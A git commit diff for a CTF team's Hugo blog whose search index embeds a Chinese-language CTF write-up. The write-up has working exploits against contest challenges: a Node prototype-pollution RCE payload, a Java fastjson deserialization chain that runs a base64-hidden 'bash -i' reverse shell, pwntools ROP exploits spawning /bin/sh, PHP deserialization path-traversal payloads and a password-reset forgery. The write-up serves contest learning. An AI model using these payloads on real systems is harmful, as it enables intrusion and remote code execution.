From 6e9bf5f026bfae02f93f579bd361fd41c6a08b55 Mon Sep 17 00:00:00 2001 From: s0uthwood Date: Tue, 18 Apr 2023 19:18:27 +0800 Subject: [PATCH] Update BUAACTF2023 checkin flag --- .DS_Store | Bin 0 -> 6148 bytes index.html | 2 +- index.xml | 2 +- page/2/index.html | 2 +- page/about/index.html | 9 +++++---- page/index.xml | 2 +- page/search/index.json | 2 +- scss/style.min.css | 2 +- 8 files changed, 11 insertions(+), 10 deletions(-) create mode 100644 .DS_Store diff --git a/.DS_Store b/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..f1acf6e8d5a281990f82235a63f717e3fd6d2e69 GIT binary patch literal 6148 zcmeHK%}T>S5Z-O8O({YS3Oz1(E!fr~h?fxS3mDOZN=-3(nuHD8u{u+`w_cwPM}09Ik2Za= zJ|7MGVth86cw@ee6&cI&fRI!A_05L!e z5Cgl%fH@1S?(UUN6%zx*zz+=I{ve>0lQo&M{bO)ai_?m0=#Ua`kxOYIU#+70$S$k$Pf)7^pMQ)I%H3|10=q zwm$OfDKsJmh=G5`0B=pai3>%Uv-Mkfc-9JNPtZ^>u0#a{^x7o=2Dp#(lvDc!>JaA` WEH&aRXjkcgbP-U5P)7{>0s~(a(o6&Z literal 0 HcmV?d00001 diff --git a/index.html b/index.html index 8c02b08..1be6ce0 100644 --- a/index.html +++ b/index.html @@ -1,7 +1,7 @@ - + or4nge diff --git a/index.xml b/index.xml index 375c2bc..c108bba 100644 --- a/index.xml +++ b/index.xml @@ -265,7 +265,7 @@ flag2通过这种方式获取：</p> </figure> 发现yso里正好有一个现成的</p> -<pre tabindex="0"><code>Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aop +<pre tabindex="0"><code>Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aop alliance:1.0, commons-logging:1.2 </code></pre><p>就想当然的去复现spring2的链子，后来发现spring版本对不上已经来不及了。 fastjson最经典的部分是自动触发getter来getProperties加载字节码，如何触发getter可以通过JSON.parse触发，也可以通过toJSONString触发，很有意思的是JSON这个类的tostring就是toJSONString diff --git a/page/2/index.html b/page/2/index.html index 96108fe..b34980e 100644 --- a/page/2/index.html +++ b/page/2/index.html @@ -1,7 +1,7 @@ - + or4nge diff --git a/page/about/index.html b/page/about/index.html index 36c38af..3ded081 100644 --- a/page/about/index.html +++ b/page/about/index.html @@ -2,7 +2,7 @@

About

or4nge 战队成立于2020年，由北京航空航天大学赛博安全协会的小伙伴组成。

-

Members

+
BUAACTF{W3lc0m3_t0_BUAACTF2023_3NjoY_l-l@ck1ng!}
+

Members

Captains

diff --git a/page/index.xml b/page/index.xml index 98f19a6..c6a3dfa 100644 --- a/page/index.xml +++ b/page/index.xml @@ -23,7 +23,7 @@ https://or4ngesec.github.io/page/about/ About or4nge 战队成立于2020年，由北京航空航天大学赛博安全协会的小伙伴组成。 -Members Captains hidden_er Web +BUAACTF{W3lc0m3_t0_BUAACTF2023_3NjoY_l-l@ck1ng!} Members Captains hidden_er Web fyhssgss Web Active Members ElegentCrazy Ex-Captain, Web g0vi Crypto diff --git a/page/search/index.json b/page/search/index.json index 27669bc..5bc9116 100644 --- a/page/search/index.json +++ b/page/search/index.json @@ -1 +1 @@ -[{"content":"Web 扭转乾坤 apache层面的waf说content-type不能是multipart/form-data,结合题目描述利用tomcat和apache对content-type理解差异性大小写绕过后随意上传文件即可获取flag。 real_ez_node CRLF注入+原型链污染+ejs模板注入\nimport requests import urllib url = \u0026#34;http://3000.endpoint-f4a41261f41142dfb14d60dc0361f7bc.ins.cloud.dasctf.com:81/\u0026#34; payload = \u0026#39;\u0026#39;\u0026#39; HTTP/1.1 POST /copy HTTP/1.1 Host: 127.0.0.1 Content-Length: 159 Content-Type: application/json {\u0026#34;constructor.prototype.outputFunctionName\u0026#34;:\u0026#34;__tmp1; return global.process.mainModule.constructor._load(\u0026#39;child_process\u0026#39;).execSync(\u0026#39;cat /flag.txt\u0026#39;);var __tmp2\u0026#34;} GET / HTTP/1.1 test:\u0026#39;\u0026#39;\u0026#39;.replace(\u0026#39;\\n\u0026#39;,\u0026#39;\\r\\n\u0026#39;) def payload_encode(raw): ret = u\u0026#34;\u0026#34; for i in raw: ret += chr(0x0100+ord(i)) return ret payload = payload_encode(payload) print(payload) r = requests.get(url + \u0026#34;curl?q=\u0026#34; + urllib.parse.quote(payload)) print(r.text) 访问首页即可下载flag文件。 real world git 忘记密码的逻辑中，生成的验证码只跟邮箱和时间戳有关系，没有引入随机数，本地跑一下就能跑出来，然后利用这个验证码重置root@codefever.cn的密码，再登录就可以看到flag了。\n\u0026lt;?php // this function use to generated uuid namespace service\\Utility; define(\u0026#39;TOTP_SALT\u0026#39;, \u0026#39;codefever-salt\u0026#39;); class TOTP { const SALT = \u0026#39;codefever_salt\u0026#39;; const TOTP_REFRESH_INTERVAL = 30; const TOTP_CHECK_WINDOW_MIN = -10; const TOTP_CHECK_WINDOW_MAX = 10; const PASSWORD_LENGTH = 6; static private function hashInput (string $input) { $salt = self::SALT; if (TOTP_SALT) { $salt = TOTP_SALT; } $input = $input ? $input : self::SALT; return hash(\u0026#39;sha256\u0026#39;, md5($input) . md5($salt), FALSE); } static private function genTotp (string $hashedInput, int $timestamp) { $sequence = floor($timestamp / 30); $code = hash_hmac(\u0026#39;sha256\u0026#39;, $hashedInput . md5($sequence), md5($sequence), TRUE); $finalValue = 0; $index = 0; do { $finalValue += ord($code[$index]); $finalValue = $finalValue \u0026lt;\u0026lt; 2; $index++; } while (isset($code[$index])); return $finalValue; } static private function trimTotp (int $sourceTotp) { $trimedTotp = $sourceTotp % pow(10, self::PASSWORD_LENGTH); $format = \u0026#34;%\u0026#39;.0\u0026#34;. self::PASSWORD_LENGTH .\u0026#34;u\u0026#34;; return sprintf($format, abs($trimedTotp)); } static function generate(string $input) { return self::trimTotp(self::genTotp(self::hashInput($input), time())); } static function check(string $input, string $code) { $hashedInput = self::hashInput($input); $currentTime = time(); for ( $windowIndex = self::TOTP_CHECK_WINDOW_MIN; $windowIndex \u0026lt;= self::TOTP_CHECK_WINDOW_MAX; $windowIndex++ ) { if ( $code === self::trimTotp( self::genTotp( $hashedInput, $currentTime + ($windowIndex * self::TOTP_REFRESH_INTERVAL) ) ) ) { return TRUE; } } return FALSE; } } $email = \u0026#39;root@codefever.cn\u0026#39;; echo TOTP::generate($email); unusual php 能AFR，显示的报错是/tmp/fuck.php执行的，对index.php产生怀疑，直接读index.php发现是乱码，用伪协议读到二进制文件猜测是密文，应该是开启了zend扩展。阅读phpinfo发现存在zend-test的扩展。 扩展位置：/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so 对.so文件进行逆向，在my_compile_file函数中看到大概逻辑，读文件，用rc4解密后zend_stream_open到/tmp/fuck.php然后执行，密钥是abcsdfadfjiweur 对一句话木马进行rc4加密，上传至远程，即可rce。 拿到shell后尝试suid提权未果，尝试sudo -l提权发现chmod不需要密码，故把flag的权限改为可读即可读到flag。 Node Magical Login flag1是通过设置cookie的user=admin键值对获得。 flag2通过这种方式获取：\ntry{ checkcode = checkcode.toLowerCase() if(checkcode !== \u0026#34;aGr5AtSp55dRacer\u0026#34;){ res.status(403).json({\u0026#34;msg\u0026#34;:\u0026#34;Invalid Checkcode1:\u0026#34; + checkcode}) } }catch (__) {} res.status(200).type(\u0026#34;text/html\u0026#34;).json({\u0026#34;msg\u0026#34;:\u0026#34;You Got Another Part Of Flag: \u0026#34; + flag2.toString().trim()}) 发现获取flag不在try语句块内，尝试在tolowerCase处触发异常，传一个长度为16的数组，元素中不是字符即可触发异常，直接给flag2。\neasy_api(*) 前半部分bypass filter是不小心多打了一个斜杠绕过去的//api/test 后面的反序列化部分注意到了lib里有这些依赖，给的又是原生反序列化入口，所以无视了fastjson。 发现yso里正好有一个现成的\nSpring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aop\ralliance:1.0, commons-logging:1.2 就想当然的去复现spring2的链子，后来发现spring版本对不上已经来不及了。 fastjson最经典的部分是自动触发getter来getProperties加载字节码，如何触发getter可以通过JSON.parse触发，也可以通过toJSONString触发，很有意思的是JSON这个类的tostring就是toJSONString 思路很明确了，题目ban了BadAttributeValueExpException来触发tostring，用xstring来触发，复制之前的部分即可。利用链：readObject-\u0026gt;hashmap.put-\u0026gt;xstring.tostring-\u0026gt;JSON.tostring-\u0026gt;templates.getproperties 最后的exp：\npackage com.example; import com.alibaba.fastjson.JSONObject; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.ClassPool; import org.springframework.aop.target.HotSwappableTargetSource; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.net.URLEncoder; import java.util.Base64; import java.util.HashMap; public class api_test_payload { public static Field getField(final Class\u0026lt;?\u0026gt; clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, \u0026#34;_bytecodes\u0026#34;, new byte[][]{ ClassPool.getDefault().get(fucktemplate.class.getName()).toBytecode() }); setFieldValue(templates, \u0026#34;_name\u0026#34;, \u0026#34;fucktemplate\u0026#34;); setFieldValue(templates, \u0026#34;_class\u0026#34;, null); JSONObject jsonObject = new JSONObject(); jsonObject.put(\u0026#34;jb\u0026#34;, templates); HashMap\u0026lt;Object, Object\u0026gt; s = new HashMap\u0026lt;\u0026gt;(); setFieldValue(s, \u0026#34;size\u0026#34;, 2); Class\u0026lt;?\u0026gt; nodeC; try { nodeC = Class.forName(\u0026#34;java.util.HashMap$Node\u0026#34;); } catch ( ClassNotFoundException e ) { nodeC = Class.forName(\u0026#34;java.util.HashMap$Entry\u0026#34;); } Constructor\u0026lt;?\u0026gt; nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject); HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString(\u0026#34;xxx\u0026#34;)); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(s, \u0026#34;table\u0026#34;, tbl); try{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream); outputStream.writeObject(s); System.out.println(URLEncoder.encode(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())),\u0026#34;UTF-8\u0026#34;)); outputStream.close(); }catch(Exception e){ e.printStackTrace(); } } } fucktemplate部分：\npackage com.example; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class fucktemplate extends AbstractTranslet { public fucktemplate() { super(); try { Runtime.getRuntime().exec(\u0026#34;bash -c {echo,YmFzaCAtaS***==}|{base64,-d}|{bash,-i}\u0026#34;); }catch (Exception e){ e.printStackTrace(); } } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } } Pwn babycalc z3解方程\nfrom z3 import * v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18=Ints(\u0026#39;v3 v4 v5 v6 v7 v8 v9 v10 v11 v12 v13 v14 v15 v16 v17 v18\u0026#39;) solver = Solver() solver.add(v5 * v4 * v3 - v6 == 0x8D56) solver.add(v3 == 0x13) solver.add(v5 * 0x13 * v4 + v6 == 0x8DE2) solver.add((v13 + v3 - v8) * v16 == 0x8043) solver.add((v5 + v4 * v3) * v6 == 0xC986) solver.add(v9 * v8 * v7 - v10 == 0xF06D) solver.add(v10 * v15 + v4 + v18 == 0x4A5D) solver.add(v9 * v8 * v7 + v10 == 0xF1AF) solver.add((v8 * v7 - v9) * v10 == 0x8E03D) solver.add(v11 == 0x32) solver.add((v9 + v8 * v7) * v10 == 0x8F59F) solver.add(v13 * v12 * v11 - v14 == 0x152FD3) solver.add(v13 * v12 * v11 + v14 == 0x15309D) solver.add((v12 * v11 - v13) * v14 == 0x9C48A) solver.add((v11 * v5 - v16) * v12 == 0x4E639) solver.add((v13 + v12 * v11) * v14 == 0xA6BD2) solver.add(v17 * v16 * v15 - v18 == 0x8996D) solver.add(v17 * v16 * v15 + v18 == 0x89973) solver.add(v14 == 0x65) solver.add((v16 * v15 - v17) * v18 == 0x112E6) solver.add((v17 + v16 * v15) * v18 == 0x11376) print(solver.check()) print(solver.model()) 输入0x100字节能覆盖rbp的最低位为零，这个地址有几率落在buf里。buf溢出控制i能实现向前无数字节改写和向后一字节改写，改写返回地址为一个leave ret指令栈迁移泄露libc然后返回0x400c1b再来一次栈迁移执行system(\u0026rsquo;/bin/sh')\nfrom pwn import * #from LibcSearcher import * context.arch = \u0026#39;amd64\u0026#39; context.os = \u0026#39;linux\u0026#39; context.log_level = \u0026#39;debug\u0026#39; p=remote(\u0026#39;tcp.cloud.dasctf.com\u0026#39;,24101) #p=process(\u0026#39;./babycalc\u0026#39;) elf=ELF(\u0026#39;./babycalc\u0026#39;) #gdb.attach(p) v=[19,36,53,70,55,66,17,161,50,131,212,101,118,199,24,3] s=b\u0026#39;\u0026#39; for i in v: s+=i.to_bytes(1,\u0026#39;little\u0026#39;) print(s) ret_addr=0x400c19 pop_rdi=0x400ca3 payload=b\u0026#39;24\u0026#39;+b\u0026#39;\\x00\u0026#39;*6+p64(ret_addr)*21+p64(pop_rdi)+p64(elf.got[\u0026#39;puts\u0026#39;])+p64(elf.plt[\u0026#39;puts\u0026#39;])+p64(0x400c1b)+s+b\u0026#39;\\x00\u0026#39;*28+b\u0026#39;\\x38\u0026#39;+b\u0026#39;\\x00\\x00\\x00\u0026#39; p.sendafter(b\u0026#39;number-1:\u0026#39;,payload) p.recvuntil(b\u0026#39;good done\\n\u0026#39;) #leak libc x=p.recvuntil(b\u0026#39;\\n\u0026#39;)[:-1].ljust(8,b\u0026#39;\\x00\u0026#39;) puts_addr=u64(x) print(hex(u64(x))) #libc=LibcSearcher(\u0026#34;puts\u0026#34;,puts_addr) libcbase=u64(x)-0x06f6a0 print(hex(libcbase)) #system(\u0026#39;/bin/sh\u0026#39;) system_addr=libcbase+0x0453a0 bin_sh_addr=libcbase+0x18ce57 shellcode=b\u0026#39;24\u0026#39;+b\u0026#39;\\x00\u0026#39;*6+p64(ret_addr)*22+p64(pop_rdi)+p64(bin_sh_addr)+p64(system_addr)+s+b\u0026#39;\\x00\u0026#39;*28+b\u0026#39;\\x38\u0026#39;+b\u0026#39;\\x00\u0026#39;*3 p.send(shellcode) #p.recvuntil(b\u0026#39;good done\\n\u0026#39;) p.interactive() #pause() Message Board 给了一个只能用一次的格式化字符串，一个长度足够长溢出0x10字节的栈可以用来做frame faking，泄露libc，题目中有沙箱，构造orw拿到flag\nfrom pwn import * import sys context(os=\u0026#39;linux\u0026#39;, arch=\u0026#39;amd64\u0026#39;, log_level=\u0026#39;debug\u0026#39;) if len(sys.argv) \u0026lt; 2: debug = True else: debug = False if debug: p = process(\u0026#34;./pwn\u0026#34;) libc = ELF(\u0026#34;/lib/x86_64-linux-gnu/libc-2.31.so\u0026#34;) else: p = remote(\u0026#34;tcp.cloud.dasctf.com\u0026#34;, 23625) libc = ELF(\u0026#34;./libc.so.6\u0026#34;) def debugf(b=0): if debug: if b: # gdb.attach(p,\u0026#34;b *$rebase({b})\u0026#34;.format(b = hex(b))) gdb.attach(p,\u0026#34;b *({b})\u0026#34;.format(b = hex(b))) else: gdb.attach(p) elf = ELF(\u0026#39;./pwn\u0026#39;) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a, b) # debugf(0x401373) pop_rdi = 0x0000000000401413 pop_rsi = 0x0000000000401411 p.send(b\u0026#34;%p\u0026#34;) p.recvuntil(\u0026#34;Hello, \u0026#34;) stack_address=int(p.recvuntil(\u0026#34;N\u0026#34;)[:-1].decode(),16) print(hex(stack_address)) # u64([-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) leave = 0x4013A2 payload = p64(pop_rdi) + p64(0x404028) + p64(0x4010E0) + p64(0x401150) + b\u0026#34;e\u0026#34;*0x90 + p64(stack_address + 0x8) + p64(leave) p.send(payload) libc.address = u64(p.recvuntil(\u0026#34;\\x7f\u0026#34;)[-6:].ljust(8, b\u0026#34;\\x00\u0026#34;)) - libc.sym[\u0026#34;puts\u0026#34;] print(hex(libc.address)) payload2 = p64(pop_rdi) + p64(0x4040B0) + p64(libc.sym[\u0026#34;gets\u0026#34;]) + p64(0x401150) + b\u0026#34;e\u0026#34;*0x90 + p64(stack_address -0x180 + 0x8) + p64(leave) p.send(payload2) p.recvuntil(\u0026#34;Successfully~\u0026#34;) p.send(b\u0026#34;./flag\\x00\\x00\\n\u0026#34;) payload3 = p64(pop_rdi) + p64(0x4040b0) + p64(pop_rsi) + p64(0)*2 + p64(libc.sym[\u0026#34;open\u0026#34;]) + p64(0x401150)+ b\u0026#34;e\u0026#34;*0x78 + p64(stack_address -0x300 + 0x8) + p64(leave) # payload = p64(pop_rdi) + p64(0x404028) + p64(0x4010E0) + p64(0x401150) + b\u0026#34;e\u0026#34;*0x90 + p64(stack_address - 0x300 + 0x8) + p64(leave) # p.send(payload) p.send(payload3) payload4 = p64(0x40140A) + p64(0) + p64(1) + p64(3) + p64(0x4040e0) + p64(0x40) + p64(0x404048) + p64(0x4013F0) + b\u0026#34;a\u0026#34;*56 payload4 += p64(pop_rdi) + p64(1) + p64(libc.sym[\u0026#34;write\u0026#34;]) payload4 += p64(0x401150)+ b\u0026#34;e\u0026#34;*0x18 + p64(stack_address -0x460 + 0x8) + p64(leave) print(len(payload4)) print(len(payload3)) p.send(payload4) p.interactive() Reverse Dual personality 程序设计了天堂之门转换架构，在函数401120后会从x86架构转为x64,同时函数401120会处理地址407050，将其填为一个给定的函数地址 那么分析整个main函数的流程（4013a0~4015ee）可得： 4013d4在x86架构下进行了输入操作； 4013e3在x64架构下将后文将要用到的值（这里称作delta）做了初始化； 4013f4~40144a在x86架构下进行了第一次加密； 401455在x64架构下进行了第二次加密（做循环左移）； 401462在x64架构下对异或的key进行处理； 40146e~4014ba在x64架构下进行了第三次加密（异或）； 最后与已知密文进行了比较。 按照流程逆序写出解密过程即可\ncipher=[0x0AA,0x4F,0x0F,0x0E2,0x0E4,0x41,0x99,0x54,0x2C,0x2B,0x84,0x7E,0x0BC,0x8F,0x8B,0x78,0x0D3,0x73,0x88,0x5E,0x0AE,0x47,0x85,0x70,0x31,0x0B3,0x9,0x0CE,0x13,0x0F5,0x0D,0x0CA] print(len(cipher)) key=[0x9d,0x44,0x37,0xb5] key[0]\u0026amp;=key[1] key[1]|=key[2] key[2]^=key[3] key[3]=(~key[3])\u0026amp;0xff for i in range(32): cipher[i]^=key[i%4] def ror(a,b,c=64): return (a\u0026gt;\u0026gt;b)|((a\u0026lt;\u0026lt;(c-b))\u0026amp;((1\u0026lt;\u0026lt;c)-1)) cipher=[int.from_bytes(bytes(cipher[i:i+8]),\u0026#39;little\u0026#39;) for i in range(0,32,8)] cipher[0]=ror(cipher[0],12) cipher[1]=ror(cipher[1],34) cipher[2]=ror(cipher[2],56) cipher[3]=ror(cipher[3],14) cipher=b\u0026#39;\u0026#39;.join([i.to_bytes(8,\u0026#39;little\u0026#39;) for i in cipher]) delta=0x5DF966AE-0x21524111 cipher=[int.from_bytes(cipher[i:i+4],\u0026#39;little\u0026#39;) for i in range(0,32,4)] for i in range(8): delta_next=delta^cipher[i] cipher[i]-=delta cipher[i]\u0026amp;=0xffffffff delta=delta_next text=b\u0026#39;\u0026#39;.join([i.to_bytes(4,\u0026#39;little\u0026#39;) for i in cipher]) print(text) Berkeley 程序包含调试信息，注释中含有源码。提取ebpf字节码逆向发现和源码对应。加密逻辑十分简单，直接Z3求解。\nkey_hex = \u0026#39;C1D10261D6F713A29B20D04A8F7FEEB9006334B033B78A8B94602E8E21FF9082D587967822B6486C45C75A1680FDE48CBF011F4B7924A0B4234D3BC55D6F0DC9D4CA55E039AD2BCD2CECC26B30E60CA89A2FF6E8BB3257FB0B9DF23FB5F959E510CF5141E950DF267458CB645473ABF4B29F18F84EFE081D4F49D3AC3812771169071C99B3E73D05D8FC704693096589B1C652FAD20EA917E391A1685B2AF0C342CC29DEDC8598315CBC2DEF5E7EAF6762A75688A44340E1379E36767184BD068D477D53D7C8CE1592954C286D75EB7CF3BEAAB8ED033C273E19DDA666251EC46EC0E2DB3AD981A51BF504AEBAEA97833544A37A1AF186DA7B14729C6A0F5F0A00\u0026#39; key = bytearray.fromhex(key_hex) cipher_hex = \u0026#39;F327471B8F09FB177048B05332DBC0B8632D404BF516F035E7DFEAA29C41B325D70C339C7B5ACD13BBEE3E0EF2CF35DAAFA2667D3837671E1F6B7B300B7A02A9C8612741DB0122316FB6D41B04D394B846C724CFBDAF0BDC2EBBB271F4995736D1955292BA6DF33050599BEA2F83DCF0DE57A1ACD251A21D59A800B6E265410C4FEBF02E582A1FF49572887CA90ECB3C42B9F3499B529812A31751C059400ABCE84C04FB130A173FE63697DFB3E2427FF8CC0ED177C4A84648E3F10AEF9456545BCABDDD7F5647C299FA89CCE1B93A78E23758011BC34BE68CF3E5B6719E63AF11CE87F66EDEC8B1D07A156C1008997B2255107A8273FC62CB34A7B762FA6B9F\u0026#39; cipher = bytearray.fromhex(cipher_hex) fake_cipher_hex = \u0026#39;2095209580AAFFC04AAE8A5C0D8D1F6D0D8DA215EEF34DC87F7523CED150C1DF\u0026#39; fake_cipher = bytearray.fromhex(fake_cipher_hex) from z3 import * s = Solver() flag = [BitVec((\u0026#39;x%d\u0026#39; % i), 8) for i in range(32)] arr = [BitVec((\u0026#39;arr%d\u0026#39; % i), 8) for i in range(8)] for i in range(256): idx1 = key.index(cipher[i]) ^ key[i] idx2 = key.index(idx1) uc1 = flag[i//8] uc2 = (~(flag[i//8] + arr[i%8]))\u0026amp;0xff s.add(uc1 ^ uc2 == idx2) for i in range(32): s.add(flag[i] \u0026gt;= 47) s.add(flag[i] \u0026lt;=122) if s.check()==sat: print(\u0026#34;sat\u0026#34;) for i in range(32): print(str(s.model()[flag[i]])+ \u0026#39;, \u0026#39;, end=\u0026#39;\u0026#39;) print(\u0026#39;\u0026#39;) l = [55, 49, 99, 50, 97, 99, 57, 56, 97, 99, 56, 100, 57, 57, 97, 50, 101, 56, 97, 57, 53, 49, 49, 49, 52, 52, 57, 97, 55, 51, 57, 51] res = \u0026#39;\u0026#39; for i in range(len(l)): res += chr(l[i]) print(res) BabyRE 此程序在preinitialize阶段就完成了整个流程，分析40615c所在的三个函数即可 401000输入，并用atexit存了一个rc4加密的函数 401050做初始化，并用atexit存了一个sha1算法 4010c0用atexit存了一个base编码算法 按照atexit的性质，它们应当从后往前执行，即先编码，再做sha1（但此处的sha1仅是一个校验，并不算中间过程），再进行rc4. 经过分析可知，rc4加密的密钥由输入得来，当输入超过42个字符时，超出的六个字符即是rc4的密钥 根据输入限制，密钥在0~9之间，且后96位的明密文对是已知的，直接爆破\ns=[i for i in range(256)] cipher=[0x3F, 0x95, 0xBB, 0xF2, 0x57, 0xF1, 0x7A, 0x5A, 0x22, 0x61, 0x51, 0x43, 0xA2, 0xFA, 0x9B, 0x6F, 0x44, 0x63, 0xC0, 0x08, 0x12, 0x65, 0x5C, 0x8A, 0x8C, 0x4C, 0xED, 0x5E, 0xCA, 0x76, 0xB9, 0x85, 0xAF, 0x05, 0x38, 0xED, 0x42, 0x3E, 0x42, 0xDF, 0x5D, 0xBE, 0x05, 0x8B, 0x35, 0x6D, 0xF3, 0x1C, 0xCF, 0xF8, 0x6A, 0x73, 0x25, 0xE4, 0xB7, 0xB9, 0x36, 0xFB, 0x02, 0x11, 0xA0, 0xF0, 0x57, 0xAB, 0x21, 0xC6, 0xC7, 0x46, 0x99, 0xBD, 0x1E, 0x61, 0x5E, 0xEE, 0x55, 0x18, 0xEE, 0x03, 0x29, 0x84, 0x7F, 0x94, 0x5F, 0xB4, 0x6A, 0x29, 0xD8, 0x6C, 0xE4, 0xC0, 0x9D, 0x6B, 0xCC, 0xD5, 0x94, 0x5C, 0xDD, 0xCC, 0xD5, 0x3D, 0xC0, 0xEF, 0x0C, 0x29, 0xE5, 0xB0, 0x93, 0xF1, 0xB3, 0xDE, 0xB0, 0x70] mid=[0]*16+[0x31, 0x36, 0x32, 0x33, 0x30, 0x34, 0x36, 0x35, 0x31, 0x35, 0x32, 0x33, 0x33, 0x34, 0x36, 0x32, 0x31, 0x34, 0x34, 0x33, 0x31, 0x34, 0x37, 0x31, 0x31, 0x35, 0x30, 0x33, 0x31, 0x30, 0x37, 0x30, 0x31, 0x35, 0x30, 0x33, 0x32, 0x30, 0x37, 0x31, 0x31, 0x36, 0x30, 0x33, 0x32, 0x30, 0x36, 0x33, 0x31, 0x34, 0x30, 0x33, 0x33, 0x34, 0x36, 0x36, 0x31, 0x35, 0x34, 0x33, 0x34, 0x34, 0x36, 0x31, 0x31, 0x34, 0x34, 0x33, 0x34, 0x30, 0x36, 0x36, 0x31, 0x34, 0x32, 0x33, 0x30, 0x34, 0x36, 0x36, 0x31, 0x35, 0x36, 0x33, 0x34, 0x34, 0x36, 0x36, 0x31, 0x35, 0x34, 0x33, 0x30, 0x34, 0x36, 0x34] # 枚举6位十进制的key for j1 in range(0x30,0x3a): for j2 in range(0x30,0x3a): for j3 in range(0x30,0x3a): for j4 in range(0x30,0x3a): for j5 in range(0x30,0x3a): for j6 in range(0x30,0x3a): key=[j1,j2,j3,j4,j5,j6] v6=0 for i in range(256): s[i]=i for i in range(256): v6=(v6+key[i%6]+s[i])%256 s[i],s[v6]=s[v6],s[i] flag=1 v7,v6=0,0 for i in range(112): v7=(v7+1)%256 v6=(v6+s[v7])%256 s[v7],s[v6]=s[v6],s[v7] if i\u0026lt;16: continue if cipher[i]^s[(s[v6]+s[v7])%256]!=mid[i]: flag=0 break if flag==1: print(j1,j2,j3,j4,j5,j6) exit(0) 得到密钥[56,48,55,51,57,49]，再进行常规的解密即可\ndef base83decode(num): bina=\u0026#39;\u0026#39; for i in num: bina+=bin(int(chr(i)))[2:].rjust(3,\u0026#39;0\u0026#39;) return [int(bina[i:i+8],2) for i in range(0,len(bina),8)] key=[56,48,55,51,57,49] for i in range(256): s[i]=i v6=0 for i in range(256): v6=(v6+key[i%6]+s[i])%256 s[i],s[v6]=s[v6],s[i] v7,v6=0,0 for i in range(112): v7=(v7+1)%256 v6=(v6+s[v7])%256 s[v7],s[v6]=s[v6],s[v7] cipher[i]^=s[(s[v6]+s[v7])%256] txt=base83decode(cipher) print(bytes(txt+key)) Misc 签到 使用HexEditor查看图片发现尾部有汉字编码，向公众号发送“西湖论剑2023我来了！”得到flag。\nmp3 HexEditor查看MP3文件发现png格式头89504E47。 提取图片，Stegsolve查看lsb隐写，发现任意勾选三通道之一可以解出一个zip压缩包。 提取压缩包数据发现已被加密，mp3stego查看mp3文件中是否含有隐写，这里存在非预期：输入任意passphrase都可以分离出包含压缩包口令的txt文件，最终得到压缩包口令8750d5109208213f。 解压得到47.txt，猜测内容经过了ROT47处理，还原得到一串JJEncode混淆编码，输入chrome控制台拿到flag。\n","date":"2023-01-31T10:00:00+08:00","permalink":"https://or4ngesec.github.io/post/xhlj-writeup-by-or4nge/","title":"西湖论剑 Writeup by or4nge"},{"content":"Web ezus 第一层，使用中文绕过basename即可。​ http://172.51.223.142/index.php/tm.php/%E6%88%91?source​ 第二层的目标是进@include，读hint.php。​ 三个需要绕过的东西：构建反序列化受限用字符逃逸，wakeup用增加属性数，strpos用路径穿越。\nusername=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@\u0026amp;password=\u0026#34;;s:11:\u0026#34;%00*%00password\u0026#34;;O:5:\u0026#34;order\u0026#34;:3:{s:1:\u0026#34;f\u0026#34;;s:83:\u0026#34;php://filter/read=convert.base64-encode/resource=/var/www/html/pass/../try/../index\u0026#34;;s:4:\u0026#34;hint\u0026#34;;s:16:\u0026#34;http://locathost\u0026#34;;}}}​ 第三层，用一个不存在的协议名绕parse_url（parse_url会解析出host，但file_get_contents会将其解析为路径），路径穿越读取即可。​\nusername=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@\u0026amp;password=\u0026#34;;s:11:\u0026#34;%00*%00password\u0026#34;;O:5:\u0026#34;order\u0026#34;:3:{s:1:\u0026#34;f\u0026#34;;s:82:\u0026#34;php://filter/read=convert.base64-encode/resource=/var/www/html/pass/../try/../hint\u0026#34;;s:4:\u0026#34;hint\u0026#34;;s:46:\u0026#34;0://prankhub/../../../../../f1111444449999.txt\u0026#34;;}}} Popsql 时间盲注，但过滤了非常多的东西。​ sleep被过滤，用benchmark替代，进行延时。​ 